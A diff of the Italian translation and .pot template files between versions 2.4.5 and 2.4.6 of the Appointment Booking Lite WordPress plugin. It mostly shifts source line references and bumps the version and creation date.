 msgstr "Liberamente"
@@ -3433,33 +3423,33 @@
 msgid "You can add a new log message here and press Update to save it"
 msgstr "Qui puoi aggiungere un nuovo messaggio di registro, poi premi Aggiorna per salvarlo"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:49
+#: includes/metaboxes/booking/BookingPriceMetabox.php:50
 #: includes/post-types/CouponPostType.php:60
 #: templates/shortcodes/booking/sections/coupon-section.php:14
 msgid "Coupon"
 msgstr "Coupon"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:55
+#: includes/metaboxes/booking/BookingPriceMetabox.php:56
 msgid "Reserved Services"
 msgstr "Servizi prenotati"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:59
+#: includes/metaboxes/booking/BookingPriceMetabox.php:60
 #: includes/metaboxes/payment/PaymentDetailsMetabox.php:38
 msgid "Payment Details"
 msgstr "Dettagli di pagamento"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:65
+#: includes/metaboxes/booking/BookingPriceMetabox.php:66
 msgid "Booking Price"
 msgstr "Prezzo della prenotazione"
 
 #. Translators: %d: Booking ID.
-#: includes/metaboxes/booking/BookingPriceMetabox.php:141
+#: includes/metaboxes/booking/BookingPriceMetabox.php:142
 #: includes/repositories/BookingRepository.php:113
 #, php-format
 msgid "Booking #%d"
 msgstr "Prenotazione #%d"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:186
+#: includes/metaboxes/booking/BookingPriceMetabox.php:187
 #: includes/rest/controllers/motopress/appointment/v1/BookingsRestController.php:144
 #: includes/rest/controllers/motopress/appointment/v1/BookingsRestController.php:295
 msgid "Sorry, the selected time slot is already booked."
@@ -4035,38 +4025,38 @@
 msgid "Pay with your credit card via Stripe. Use the card number 4242424242424242 with CVC 123, a valid expiration date and random 5-digit ZIP-code to test a payment."
 msgstr "Paga con la tua carta di credito tramite Stripe. Utilizza il numero di carta 42424242424242 con CVC 123, una data di scadenza valida e CAP casuale a 5 cifre per testare un pagamento."
 
-#: assets/js/divi-modules.js:8384
-#: assets/js/elementor-widgets.js:8384
-#: assets/js/gutenberg-blocks.js:8823
-#: assets/js/public.js:8384
+#: assets/js/divi-modules.js:8385
+#: assets/js/elementor-widgets.js:8385
+#: assets/js/gutenberg-blocks.js:8824
+#: assets/js/public.js:8385
 msgid "Bancontact"
 msgstr "Bancontact"
 
-#: assets/js/divi-modules.js:8411
-#: assets/js/elementor-widgets.js:8411
-#: assets/js/gutenberg-blocks.js:8850
-#: assets/js/public.js:8411
+#: assets/js/divi-modules.js:8412
+#: assets/js/elementor-widgets.js:8412
+#: assets/js/gutenberg-blocks.js:8851
+#: assets/js/public.js:8412
 msgid "iDEAL"
 msgstr "iDEAL"
 
-#: assets/js/divi-modules.js:8449
-#: assets/js/elementor-widgets.js:8449
-#: assets/js/gutenberg-blocks.js:8888
-#: assets/js/public.js:8449
+#: assets/js/divi-modules.js:8450
+#: assets/js/elementor-widgets.js:8450
+#: assets/js/gutenberg-blocks.js:8889
+#: assets/js/public.js:8450
 msgid "Giropay"
 msgstr "Giropay"
 
-#: assets/js/divi-modules.js:8349
-#: assets/js/elementor-widgets.js:8349
-#: assets/js/gutenberg-blocks.js:8788
-#: assets/js/public.js:8349
+#: assets/js/divi-modules.js:8350
+#: assets/js/elementor-widgets.js:8350
+#: assets/js/gutenberg-blocks.js:8789
+#: assets/js/public.js:8350
 msgid "SEPA Direct Debit"
 msgstr "Addebito diretto SEPA"
 
-#: assets/js/divi-modules.js:8476
-#: assets/js/elementor-widgets.js:8476
-#: assets/js/gutenberg-blocks.js:8915
-#: assets/js/public.js:8476
+#: assets/js/divi-modules.js:8477
+#: assets/js/elementor-widgets.js:8477
+#: assets/js/gutenberg-blocks.js:8916
+#: assets/js/public.js:8477
 msgid "SOFORT"
 msgstr "SOFORT"
 
@@ -5513,10 +5503,10 @@
 msgstr "Modifica Prenotazioni"
 
 #: templates/shortcodes/booking/step-booking.php:24
-#: assets/js/divi-modules.js:5645
-#: assets/js/elementor-widgets.js:5645
-#: assets/js/gutenberg-blocks.js:6084
-#: assets/js/public.js:5645
+#: assets/js/divi-modules.js:5646
+#: assets/js/elementor-widgets.js:5646
+#: assets/js/gutenberg-blocks.js:6085
+#: assets/js/public.js:5646
 msgid "Making a reservation..."
 msgstr "Prenotazione in corso..."
 
@@ -6229,168 +6219,168 @@
 msgstr "Dicembre"
 
 #: assets/js/customers-page.js:497
-#: assets/js/divi-modules.js:6650
+#: assets/js/divi-modules.js:6651
 #: assets/js/edit-post.js:1100
-#: assets/js/elementor-widgets.js:6650
-#: assets/js/gutenberg-blocks.js:7089
-#: assets/js/public.js:6650
+#: assets/js/elementor-widgets.js:6651
+#: assets/js/gutenberg-blocks.js:7090
+#: assets/js/public.js:6651
 #: assets/js/settings-page.js:685
 #: assets/js/widgets-manage-page.js:2911
 msgid "Phone number is invalid."
 msgstr ""
 
-#: assets/js/divi-modules.js:5749
-#: assets/js/divi-modules.js:7633
-#: assets/js/elementor-widgets.js:5749
-#: assets/js/elementor-widgets.js:7633
-#: assets/js/gutenberg-blocks.js:6188
-#: assets/js/gutenberg-blocks.js:8072
-#: assets/js/public.js:5749
-#: assets/js/public.js:7633
+#: assets/js/divi-modules.js:5750
+#: assets/js/divi-modules.js:7634
+#: assets/js/elementor-widgets.js:5750
+#: assets/js/elementor-widgets.js:7634
+#: assets/js/gutenberg-blocks.js:6189
+#: assets/js/gutenberg-blocks.js:8073
+#: assets/js/public.js:5750
+#: assets/js/public.js:7634
 msgid "You will be redirected to a secure page to complete the payment."
 msgstr "Sarai reindirizzato ad una pagina sicura per completare il pagamento."
 
-#: assets/js/divi-modules.js:5960
-#: assets/js/elementor-widgets.js:5960
-#: assets/js/gutenberg-blocks.js:6399
-#: assets/js/public.js:5960
+#: assets/js/divi-modules.js:5961
+#: assets/js/elementor-widgets.js:5961
+#: assets/js/gutenberg-blocks.js:6400
+#: assets/js/public.js:5961
 msgid "Subtotal"
 msgstr "Subtotale"
 
 #. Translators: %s: Coupon code.
-#: assets/js/divi-modules.js:5970
-#: assets/js/elementor-widgets.js:5970
-#: assets/js/gutenberg-blocks.js:6409
-#: assets/js/public.js:5970
+#: assets/js/divi-modules.js:5971
+#: assets/js/elementor-widgets.js:5971
+#: assets/js/gutenberg-blocks.js:6410
+#: assets/js/public.js:5971
 #, js-format
 msgid "Coupon: %s"
 msgstr "Codice: %s"
 
-#: assets/js/divi-modules.js:5982
-#: assets/js/divi-modules.js:8135
-#: assets/js/divi-modules.js:8650
-#: assets/js/elementor-widgets.js:5982
-#: assets/js/elementor-widgets.js:8135
-#: assets/js/elementor-widgets.js:8650
-#: assets/js/gutenberg-blocks.js:6421
-#: assets/js/gutenberg-blocks.js:8574
-#: assets/js/gutenberg-blocks.js:9089
-#: assets/js/public.js:5982
-#: assets/js/public.js:8135
-#: assets/js/public.js:8650
+#: assets/js/divi-modules.js:5983
+#: assets/js/divi-modules.js:8136
+#: assets/js/divi-modules.js:8651
+#: assets/js/elementor-widgets.js:5983
+#: assets/js/elementor-widgets.js:8136
+#: assets/js/elementor-widgets.js:8651
+#: assets/js/gutenberg-blocks.js:6422
+#: assets/js/gutenberg-blocks.js:8575
+#: assets/js/gutenberg-blocks.js:9090
+#: assets/js/public.js:5983
+#: assets/js/public.js:8136
+#: assets/js/public.js:8651
 msgid "Total"
 msgstr "Totale"
 
-#: assets/js/divi-modules.js:6005
-#: assets/js/elementor-widgets.js:6005
-#: assets/js/gutenberg-blocks.js:6444
-#: assets/js/public.js:6005
+#: assets/js/divi-modules.js:6006
+#: assets/js/elementor-widgets.js:6006
+#: assets/js/gutenberg-blocks.js:6445
+#: assets/js/public.js:6006
 msgid "Deposit"
 msgstr "Deposito"
 
-#: assets/js/divi-modules.js:6010
-#: assets/js/elementor-widgets.js:6010
-#: assets/js/gutenberg-blocks.js:6449
-#: assets/js/public.js:6010
+#: assets/js/divi-modules.js:6011
+#: assets/js/elementor-widgets.js:6011
+#: assets/js/gutenberg-blocks.js:6450
+#: assets/js/public.js:6011
 msgid "Paying now"
 msgstr ""
 
-#: assets/js/divi-modules.js:6548
-#: assets/js/elementor-widgets.js:6548
-#: assets/js/gutenberg-blocks.js:6987
-#: assets/js/public.js:6548
+#: assets/js/divi-modules.js:6549
+#: assets/js/elementor-widgets.js:6549
+#: assets/js/gutenberg-blocks.js:6988
+#: assets/js/public.js:6549
 msgid "Coupon code is empty."
 msgstr "Codice sconto vuoto."
 
-#: assets/js/divi-modules.js:6557
-#: assets/js/elementor-widgets.js:6557
-#: assets/js/gutenberg-blocks.js:6996
-#: assets/js/public.js:6557
+#: assets/js/divi-modules.js:6558
+#: assets/js/elementor-widgets.js:6558
+#: assets/js/gutenberg-blocks.js:6997
+#: assets/js/public.js:6558
 msgid "Coupon code applied successfully."
 msgstr "Codice coupon applicato con successo."
 
-#: assets/js/divi-modules.js:6559
-#: assets/js/elementor-widgets.js:6559
-#: assets/js/gutenberg-blocks.js:6998
-#: assets/js/public.js:6559
+#: assets/js/divi-modules.js:6560
+#: assets/js/elementor-widgets.js:6560
+#: assets/js/gutenberg-blocks.js:6999
+#: assets/js/public.js:6560
 msgid "Sorry, your booking is not eligible for this coupon."
 msgstr "Ci dispiace, la tua prenotazione non è idonea per questo coupon."
 
 #. Translators: %s: Business name.
-#: assets/js/divi-modules.js:7563
-#: assets/js/elementor-widgets.js:7563
-#: assets/js/gutenberg-blocks.js:8002
-#: assets/js/public.js:7563
+#: assets/js/divi-modules.js:7564
+#: assets/js/elementor-widgets.js:7564
+#: assets/js/gutenberg-blocks.js:8003
+#: assets/js/public.js:7564
 #, js-format
 msgid "By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited."
 msgstr "Fornendo il tuo IBAN e confermando questo pagamento, autorizzi (A) %s e Stripe, il nostro fornitore di servizi di pagamento, a inviare istruzioni alla tua banca per addebitare il tuo conto e (B) la tua banca ad addebitare il tuo conto in conformità con tali istruzioni. Hai diritto a un rimborso dalla tua banca in base ai termini e alle condizioni del tuo accordo con la tua banca. Un rimborso deve essere richiesto entro 8 settimane dalla data in cui il tuo conto è stato addebitato."
 
-#: assets/js/divi-modules.js:7584
-#: assets/js/elementor-widgets.js:7584
-#: assets/js/gutenberg-blocks.js:8023
-#: assets/js/public.js:7584
+#: assets/js/divi-modules.js:7585
+#: assets/js/elementor-widgets.js:7585
+#: assets/js/gutenberg-blocks.js:8024
+#: assets/js/public.js:7585
 msgid "Credit or debit card"
 msgstr "Carta di credito o di debito"
 
-#: assets/js/divi-modules.js:7588
-#: assets/js/elementor-widgets.js:7588
-#: assets/js/gutenberg-blocks.js:8027
-#: assets/js/public.js:7588
+#: assets/js/divi-modules.js:7589
+#: assets/js/elementor-widgets.js:7589
+#: assets/js/gutenberg-blocks.js:8028
+#: assets/js/public.js:7589
 msgid "or"
 msgstr "o"
 
-#: assets/js/divi-modules.js:7603
-#: assets/js/elementor-widgets.js:7603
-#: assets/js/gutenberg-blocks.js:8042
-#: assets/js/public.js:7603
+#: assets/js/divi-modules.js:7604
+#: assets/js/elementor-widgets.js:7604
+#: assets/js/gutenberg-blocks.js:8043
+#: assets/js/public.js:7604
 msgid "Select iDEAL Bank"
 msgstr "Seleziona iDEAL Bank"
 
-#: assets/js/divi-modules.js:7618
-#: assets/js/elementor-widgets.js:7618
-#: assets/js/gutenberg-blocks.js:8057
-#: assets/js/public.js:7618
+#: assets/js/divi-modules.js:7619
+#: assets/js/elementor-widgets.js:7619
+#: assets/js/gutenberg-blocks.js:8058
+#: assets/js/public.js:7619
 msgid "IBAN"
 msgstr "IBAN"
 
-#: assets/js/divi-modules.js:7882
-#: assets/js/elementor-widgets.js:7882
-#: assets/js/gutenberg-blocks.js:8321
-#: assets/js/public.js:7882
+#: assets/js/divi-modules.js:7883
+#: assets/js/elementor-widgets.js:7883
+#: assets/js/gutenberg-blocks.js:8322
+#: assets/js/public.js:7883
 msgid "Payment methods"
 msgstr ""
 
-#: assets/js/divi-modules.js:8094
-#: assets/js/elementor-widgets.js:8094
-#: assets/js/gutenberg-blocks.js:8533
-#: assets/js/public.js:8094
+#: assets/js/divi-modules.js:8095
+#: assets/js/elementor-widgets.js:8095
+#: assets/js/gutenberg-blocks.js:8534
+#: assets/js/public.js:8095
 msgid "Card"
 msgstr "Carta"
 
-#: assets/js/divi-modules.js:10130
-#: assets/js/edit-post.js:7677
-#: assets/js/elementor-widgets.js:10130
-#: assets/js/gutenberg-blocks.js:10569
-#: assets/js/public.js:10130
+#: assets/js/divi-modules.js:10131
+#: assets/js/edit-post.js:7678
+#: assets/js/elementor-widgets.js:10131
+#: assets/js/gutenberg-blocks.js:10570
+#: assets/js/public.js:10131
 msgid "Sorry, but we were unable to allocate time slots for the date you selected."
 msgstr "Siamo spiacenti, ma non siamo stati in grado di assegnare le fasce orarie per la data selezionata."
 
-#: assets/js/divi-modules.js:10777
-#: assets/js/elementor-widgets.js:10777
-#: assets/js/gutenberg-blocks.js:11216
-#: assets/js/public.js:10777
+#: assets/js/divi-modules.js:10778
+#: assets/js/elementor-widgets.js:10778
+#: assets/js/gutenberg-blocks.js:11217
+#: assets/js/public.js:10778
 msgid "Sorry, there are no services, employees or locations to book."
 msgstr "Siamo spiacenti, non ci sono servizi, dipendenti o luoghi da prenotare."
 
 #. Translators: %s: Checkbox label.
-#: assets/js/edit-post.js:9005
+#: assets/js/edit-post.js:9006
 #: assets/js/gutenberg-blocks.js:3220
 #: assets/js/widgets-manage-page.js:2976
 #, js-format
 msgid "To enable this option, you need to check the '%s' box."
 msgstr ""
 
-#: assets/js/edit-post.js:9006
+#: assets/js/edit-post.js:9007
 #: assets/js/gutenberg-blocks.js:3238
 #: assets/js/widgets-manage-page.js:2977
 msgid "To enable booking for the specific service only, select the service below first, then uncheck the 'Service' box here."
@@ -6400,19 +6390,19 @@
 msgid "Colors"
 msgstr ""
 
-#: assets/js/gutenberg-blocks.js:11400
-#: assets/js/gutenberg-blocks.js:11710
-#: assets/js/gutenberg-blocks.js:11981
-#: assets/js/gutenberg-blocks.js:12284
-#: assets/js/gutenberg-blocks.js:12638
-#: assets/js/gutenberg-blocks.js:12761
-#: assets/js/gutenberg-blocks.js:12884
-#: assets/js/gutenberg-blocks.js:13007
-#: assets/js/gutenberg-blocks.js:13130
-#: assets/js/gutenberg-blocks.js:13253
-#: assets/js/gutenberg-blocks.js:13376
-#: assets/js/gutenberg-blocks.js:13499
-#: assets/js/gutenberg-blocks.js:13622
+#: assets/js/gutenberg-blocks.js:11401
+#: assets/js/gutenberg-blocks.js:11711
+#: assets/js/gutenberg-blocks.js:11982
+#: assets/js/gutenberg-blocks.js:12285
+#: assets/js/gutenberg-blocks.js:12639
+#: assets/js/gutenberg-blocks.js:12762
+#: assets/js/gutenberg-blocks.js:12885
+#: assets/js/gutenberg-blocks.js:13008
+#: assets/js/gutenberg-blocks.js:13131
+#: assets/js/gutenberg-blocks.js:13254
+#: assets/js/gutenberg-blocks.js:13377
+#: assets/js/gutenberg-blocks.js:13500
+#: assets/js/gutenberg-blocks.js:13623
 msgid "appointment"
 msgstr "appuntamento"
 
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/languages/motopress-appointment.pot /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/languages/motopress-appointment.pot
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/languages/motopress-appointment.pot	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/languages/motopress-appointment.pot	2026-06-30 15:16:08.000000000 +0000
@@ -2,14 +2,14 @@
 # This file is distributed under the GPLv2 or later.
 msgid ""
 msgstr ""
-"Project-Id-Version: Appointment Booking Lite 2.4.5\n"
+"Project-Id-Version: Appointment Booking Lite 2.4.6\n"
 "Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/motopress-appointment-lite\n"
 "Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
 "Language-Team: LANGUAGE <LL@li.org>\n"
 "MIME-Version: 1.0\n"
 "Content-Type: text/plain; charset=UTF-8\n"
 "Content-Transfer-Encoding: 8bit\n"
-"POT-Creation-Date: 2026-06-23T11:11:56+00:00\n"
+"POT-Creation-Date: 2026-06-30T14:44:01+00:00\n"
 "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
 "X-Generator: WP-CLI 2.12.0\n"
 "X-Domain: motopress-appointment\n"
@@ -171,47 +171,6 @@
 msgid "Help"
 msgstr ""
 
-#: includes/admin-pages/custom/SettingsPage.php:199
-msgid "Settings saved."
-msgstr ""
-
-#: includes/admin-pages/custom/SettingsPage.php:265
-msgid "Save Changes"
-msgstr ""
-
-#: includes/admin-pages/custom/SettingsPage.php:400
-#: includes/admin-pages/custom/SettingsPage.php:409
-#: includes/elementor/widgets/AppointmentFormWidget.php:71
-#: includes/elementor/widgets/EmployeeAdditionalInfoWidget.php:35
-#: includes/elementor/widgets/EmployeeContactsWidget.php:35
-#: includes/elementor/widgets/EmployeeContentWidget.php:35
-#: includes/elementor/widgets/EmployeeImageWidget.php:35
-#: includes/elementor/widgets/EmployeeScheduleWidget.php:35
-#: includes/elementor/widgets/EmployeeServicesListWidget.php:35
-#: includes/elementor/widgets/EmployeesListWidget.php:36
-#: includes/elementor/widgets/EmployeeSocialNetworksWidget.php:36
-#: includes/elementor/widgets/EmployeeTitleWidget.php:36
-#: includes/elementor/widgets/LocationsListWidget.php:36
-#: includes/elementor/widgets/ServiceCategoriesWidget.php:35
-#: includes/elementor/widgets/ServicesListWidget.php:35
-#: includes/metaboxes/notification/NotificationSettingsMetabox.php:26
-#: templates/private/pages/wizard.php:12
-#: assets/js/gutenberg-blocks.js:3245
-#: assets/js/gutenberg-blocks.js:11506
-#: assets/js/gutenberg-blocks.js:11801
-#: assets/js/gutenberg-blocks.js:12087
-#: assets/js/gutenberg-blocks.js:12405
-#: assets/js/gutenberg-blocks.js:12686
-#: assets/js/gutenberg-blocks.js:12809
-#: assets/js/gutenberg-blocks.js:12932
-#: assets/js/gutenberg-blocks.js:13055
-#: assets/js/gutenberg-blocks.js:13178
-#: assets/js/gutenberg-blocks.js:13301
-#: assets/js/gutenberg-blocks.js:13424
-#: assets/js/gutenberg-blocks.js:13547
-msgid "Settings"
-msgstr ""
-
 #: includes/admin-pages/custom/UpgradeToPremiumPage.php:16
 #: includes/admin-pages/custom/UpgradeToPremiumPage.php:25
 #: includes/admin-pages/custom/UpgradeToPremiumPage.php:94
@@ -336,27 +295,27 @@
 msgid "Filtered bookings for customer"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:486
+#: includes/admin-pages/manage/ManageBookingsPage.php:494
 msgid "All Services"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:511
+#: includes/admin-pages/manage/ManageBookingsPage.php:519
 msgid "All Employees"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:536
+#: includes/admin-pages/manage/ManageBookingsPage.php:544
 msgid "All Locations"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:573
+#: includes/admin-pages/manage/ManageBookingsPage.php:581
 msgid "Export"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:574
+#: includes/admin-pages/manage/ManageBookingsPage.php:582
 msgid "Cancel Export"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:589
+#: includes/admin-pages/manage/ManageBookingsPage.php:597
 #: includes/admin-pages/manage/ManagePaymentsPage.php:71
 #: includes/crons/ExportBookingsCron.php:347
 #: includes/divi/modules/EmployeeAdditionalInfoModule.php:27
@@ -375,18 +334,18 @@
 #: includes/elementor/widgets/EmployeeServicesListWidget.php:43
 #: includes/elementor/widgets/EmployeeSocialNetworksWidget.php:44
 #: includes/elementor/widgets/EmployeeTitleWidget.php:44
-#: assets/js/gutenberg-blocks.js:12689
-#: assets/js/gutenberg-blocks.js:12812
-#: assets/js/gutenberg-blocks.js:12935
-#: assets/js/gutenberg-blocks.js:13058
-#: assets/js/gutenberg-blocks.js:13181
-#: assets/js/gutenberg-blocks.js:13304
-#: assets/js/gutenberg-blocks.js:13427
-#: assets/js/gutenberg-blocks.js:13550
+#: assets/js/gutenberg-blocks.js:12690
+#: assets/js/gutenberg-blocks.js:12813
+#: assets/js/gutenberg-blocks.js:12936
+#: assets/js/gutenberg-blocks.js:13059
+#: assets/js/gutenberg-blocks.js:13182
+#: assets/js/gutenberg-blocks.js:13305
+#: assets/js/gutenberg-blocks.js:13428
+#: assets/js/gutenberg-blocks.js:13551
 msgid "ID"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:590
+#: includes/admin-pages/manage/ManageBookingsPage.php:598
 #: includes/admin-pages/manage/ManageEmployeesPage.php:149
 #: includes/divi/modules/ServicesListModule.php:97
 #: includes/elementor/widgets/ServicesListWidget.php:113
@@ -396,11 +355,11 @@
 #: includes/post-types/ServicePostType.php:117
 #: assets/js/analytics-page.js:33399
 #: assets/js/calendar-page.js:45376
-#: assets/js/gutenberg-blocks.js:12464
+#: assets/js/gutenberg-blocks.js:12465
 msgid "Services"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:590
+#: includes/admin-pages/manage/ManageBookingsPage.php:598
 #: includes/crons/ExportBookingsCron.php:354
 #: includes/divi/modules/AppointmentFormModule.php:64
 #: includes/divi/modules/AppointmentFormModule.php:126
@@ -420,14 +379,14 @@
 #: templates/shortcodes/booking/step-admin-cart.php:33
 #: templates/shortcodes/booking/step-service-form.php:102
 #: assets/js/calendar-page.js:38165
-#: assets/js/edit-post.js:9005
+#: assets/js/edit-post.js:9006
 #: assets/js/gutenberg-blocks.js:3256
 #: assets/js/gutenberg-blocks.js:3303
 #: assets/js/widgets-manage-page.js:2976
 msgid "Service"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:591
+#: includes/admin-pages/manage/ManageBookingsPage.php:599
 #: includes/crons/ExportBookingsCron.php:357
 #: templates/shortcodes/booking/step-admin-cart.php:37
 #: templates/shortcodes/template-parts/booking-details.php:99
@@ -436,13 +395,13 @@
 msgid "Date"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:592
+#: includes/admin-pages/manage/ManageBookingsPage.php:600
 #: includes/crons/ExportBookingsCron.php:358
 #: templates/shortcodes/booking/step-admin-cart.php:38
 msgid "Time"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:593
+#: includes/admin-pages/manage/ManageBookingsPage.php:601
 #: includes/divi/modules/EmployeesListModule.php:87
 #: includes/divi/modules/ServicesListModule.php:103
 #: includes/elementor/widgets/EmployeesListWidget.php:104
@@ -455,12 +414,12 @@
 #: includes/post-types/EmployeePostType.php:52
 #: assets/js/analytics-page.js:33437
 #: assets/js/calendar-page.js:45414
-#: assets/js/gutenberg-blocks.js:11557
-#: assets/js/gutenberg-blocks.js:12473
+#: assets/js/gutenberg-blocks.js:11558
+#: assets/js/gutenberg-blocks.js:12474
 msgid "Employees"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:593
+#: includes/admin-pages/manage/ManageBookingsPage.php:601
 #: includes/admin-pages/manage/ManageNotificationsPage.php:210
 #: includes/admin-pages/manage/ManageSchedulesPage.php:134
 #: includes/divi/modules/AppointmentFormModule.php:140
@@ -490,7 +449,7 @@
 msgid "Employee"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:594
+#: includes/admin-pages/manage/ManageBookingsPage.php:602
 #: includes/admin-pages/manage/ManageServicesPage.php:23
 #: includes/divi/modules/ServicesListModule.php:159
 #: includes/elementor/widgets/ServicesListWidget.php:193
@@ -502,11 +461,11 @@
 #: templates/service/price.php:19
 #: templates/shortcodes/booking/step-admin-cart.php:36
 #: templates/shortcodes/booking/step-cart.php:64
-#: assets/js/gutenberg-blocks.js:12559
+#: assets/js/gutenberg-blocks.js:12560
 msgid "Price"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:595
+#: includes/admin-pages/manage/ManageBookingsPage.php:603
 #: includes/admin-pages/manage/ManageNotificationsPage.php:156
 #: includes/admin-pages/manage/ManagePaymentsPage.php:72
 #: includes/fields/complex/LicenseSettingsField.php:79
@@ -516,7 +475,7 @@
 msgid "Status"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:596
+#: includes/admin-pages/manage/ManageBookingsPage.php:604
 #: includes/admin-pages/manage/ManageNotificationsPage.php:214
 #: includes/list-tables/emails/CustomerEmailsListTable.php:32
 #: includes/metaboxes/notification/NotificationSettingsMetabox.php:86
@@ -526,7 +485,7 @@
 msgstr ""
 
 #. Translators: %s: Paid amount.
-#: includes/admin-pages/manage/ManageBookingsPage.php:695
+#: includes/admin-pages/manage/ManageBookingsPage.php:703
 #, php-format
 msgid "Paid: %s"
 msgstr ""
@@ -572,10 +531,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:202
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:67
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:62
-#: assets/js/gutenberg-blocks.js:11634
-#: assets/js/gutenberg-blocks.js:11905
-#: assets/js/gutenberg-blocks.js:12214
-#: assets/js/gutenberg-blocks.js:12562
+#: assets/js/gutenberg-blocks.js:11635
+#: assets/js/gutenberg-blocks.js:11906
+#: assets/js/gutenberg-blocks.js:12215
+#: assets/js/gutenberg-blocks.js:12563
 msgid "Order"
 msgstr ""
 
@@ -944,7 +903,7 @@
 #: includes/metaboxes/shortcode/AppointmentFormLabelsMetabox.php:68
 #: includes/shortcodes/AppointmentFormShortcode.php:94
 #: includes/widgets/AppointmentFormWidget.php:191
-#: assets/js/edit-post.js:9055
+#: assets/js/edit-post.js:9056
 #: assets/js/gutenberg-blocks.js:3333
 #: assets/js/widgets-manage-page.js:3069
 msgid "— Select —"
@@ -1331,7 +1290,7 @@
 #: includes/shortcodes/AppointmentFormShortcode.php:32
 #: includes/widgets/AppointmentFormWidget.php:32
 #: includes/widgets/AppointmentFormWidget.php:139
-#: assets/js/gutenberg-blocks.js:11358
+#: assets/js/gutenberg-blocks.js:11359
 msgid "Appointment Form"
 msgstr ""
 
@@ -1579,7 +1538,7 @@
 #: includes/metaboxes/shortcode/AppointmentFormLabelsMetabox.php:76
 #: includes/shortcodes/AppointmentFormShortcode.php:100
 #: includes/widgets/AppointmentFormWidget.php:198
-#: assets/js/edit-post.js:9057
+#: assets/js/edit-post.js:9058
 #: assets/js/gutenberg-blocks.js:3202
 #: assets/js/gutenberg-blocks.js:3204
 #: assets/js/gutenberg-blocks.js:3205
@@ -1593,7 +1552,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:146
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:79
 #: includes/shortcodes/ServicesListShortcode.php:91
-#: assets/js/gutenberg-blocks.js:12492
+#: assets/js/gutenberg-blocks.js:12493
 msgid "Comma-separated slugs or IDs of tags that will be shown."
 msgstr ""
 
@@ -1670,7 +1629,7 @@
 #: includes/divi/modules/EmployeeAdditionalInfoModule.php:20
 #: includes/elementor/widgets/EmployeeAdditionalInfoWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeAdditionalInfoShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13604
+#: assets/js/gutenberg-blocks.js:13605
 msgid "Employee Additional Information"
 msgstr ""
 
@@ -1691,49 +1650,49 @@
 #: includes/elementor/widgets/EmployeeSocialNetworksWidget.php:47
 #: includes/elementor/widgets/EmployeeTitleWidget.php:47
 #: includes/shortcodes/single-employee/AbstractSingleEmployeeShortcode.php:25
-#: assets/js/gutenberg-blocks.js:12690
-#: assets/js/gutenberg-blocks.js:12813
-#: assets/js/gutenberg-blocks.js:12936
-#: assets/js/gutenberg-blocks.js:13059
-#: assets/js/gutenberg-blocks.js:13182
-#: assets/js/gutenberg-blocks.js:13305
-#: assets/js/gutenberg-blocks.js:13428
-#: assets/js/gutenberg-blocks.js:13551
+#: assets/js/gutenberg-blocks.js:12691
+#: assets/js/gutenberg-blocks.js:12814
+#: assets/js/gutenberg-blocks.js:12937
+#: assets/js/gutenberg-blocks.js:13060
+#: assets/js/gutenberg-blocks.js:13183
+#: assets/js/gutenberg-blocks.js:13306
+#: assets/js/gutenberg-blocks.js:13429
+#: assets/js/gutenberg-blocks.js:13552
 msgid "Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise."
 msgstr ""
 
 #: includes/divi/modules/EmployeeContactsModule.php:20
 #: includes/elementor/widgets/EmployeeContactsWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeContactsShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13358
+#: assets/js/gutenberg-blocks.js:13359
 msgid "Employee Contact Information"
 msgstr ""
 
 #: includes/divi/modules/EmployeeContentModule.php:20
 #: includes/elementor/widgets/EmployeeContentWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeContentShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13235
+#: assets/js/gutenberg-blocks.js:13236
 msgid "Employee Content"
 msgstr ""
 
 #: includes/divi/modules/EmployeeImageModule.php:20
 #: includes/elementor/widgets/EmployeeImageWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeImageShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12743
+#: assets/js/gutenberg-blocks.js:12744
